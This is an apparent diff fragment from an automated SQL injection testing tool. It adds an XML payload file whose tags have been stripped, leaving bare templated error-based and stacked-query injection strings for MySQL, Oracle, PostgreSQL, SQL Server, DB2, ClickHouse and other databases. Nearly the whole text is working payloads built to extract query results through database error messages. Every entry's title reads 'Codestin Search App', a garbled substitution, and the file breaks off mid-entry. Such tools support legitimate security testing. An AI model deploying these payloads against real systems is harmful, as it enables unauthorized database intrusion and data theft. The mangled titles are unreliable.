+ ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
+ --
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
+ --
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;IIF([INFERENCE],1,1/0)
+
+ ;IIF([RANDNUM]=[RANDNUM],1,1/0)
+ %16
+
+
+ ;IIF([RANDNUM]=[RANDNUM1],1,1/0)
+
+
+ Microsoft Access
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END
+
+ ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END
+ --
+
+
+ ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END
+
+
+ SAP MaxDB
+
+
+
+
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
new file mode 100644
index 0000000000..0d717f9617
--- /dev/null
+++ b/data/xml/payloads/error_based.xml
@@ -0,0 +1,1538 @@
+
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1,8,9
+ 1
+ OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
+
+ AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1,8,9
+ 1
+ OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
+
+ OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1,8,9
+ 1
+ OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 1,2,3,8,9
+ 1
+ AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
+
+ AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 3
+ 1,8,9
+ 1
+ OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
+
+ OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,2,3,8,9
+ 1
+ AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 3
+ 1,2,3,8,9
+
+ 1
+ OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 7
+ 1
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+
+ AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 3
+ 1,2,3,8,9
+
+ 1
+ OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+
+ OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1,2,3,8,9
+ 1
+ AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 3
+ 1,2,3,8,9
+
+ 1
+ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1,2,3,8,9
+ 1
+ AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 4.1
+
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 3
+ 1,8,9
+ 1
+ OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 4.1
+
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1,8,9
+ 2
+ OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
+
+ OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
+ #
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 1
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+ >= 8.1.6
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+ >= 8.1.6
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MonetDB
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MonetDB
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Vertica
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Vertica
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1
+ 1
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ ClickHouse
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ ClickHouse
+
+
+
+
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)
+
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
+
+ EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 5
